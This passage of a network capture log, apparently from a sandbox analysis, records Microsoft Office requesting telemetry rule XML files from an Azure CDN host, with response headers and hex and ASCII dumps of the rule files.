T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:12 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:12 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:12 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1b4bca5c-501e-000a-63e3-260180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012812Z-17c5cb586f6w4mfs5xcmnrny6n000000097g000000003hk7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:12 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:12 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:12 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:12 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 44be6224-701e-0032-738d-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012812Z-r197bdfb6b466qclztvgs64z1000000008zg00000000dgd1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:12 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:12 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:12 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:12 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: dd040750-801e-0083-62fe-25f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012812Z-17c5cb586f6w4mfs5xcmnrny6n000000098g000000001a1x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:12 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:12 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:12 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:12 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012812Z-16849878b786jv8w2kpaf5zkqs000000066000000000kw11 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:28:12 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:13 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:13 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:13 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 174e4ed1-f01e-0052-3d1b-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012813Z-16849878b787wpl5wqkt5731b4000000086g0000000006hd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:13 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:13 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:13 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:13 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012813Z-16849878b786jv8w2kpaf5zkqs000000063000000000xyn5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:13 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:13 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:13 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:13 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: d5dedb48-201e-003c-4815-2630f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012813Z-r197bdfb6b4g24ztpxkw4umce800000008z000000000401a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:13 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:13 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:13 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:13 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df5d8003-e01e-0099-48f7-26da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012813Z-17c5cb586f6f8m6jnehy0z65x400000006hg00000000dwcx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:13 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:13 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:13 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:13 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d0af8e75-601e-0050-7953-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012813Z-r197bdfb6b4grkz4xgvkar0zcs00000006yg00000000er8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:13 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:14 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:14 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:14 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012814Z-16849878b785dznd7xpawq9gcn00000008q000000000kbkd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:14 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:14 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:14 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:14 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c05ef2b3-701e-005c-2d6a-27bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012814Z-r197bdfb6b4d9xksru4x6qbqr000000007hg000000001wex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:14 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:14 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
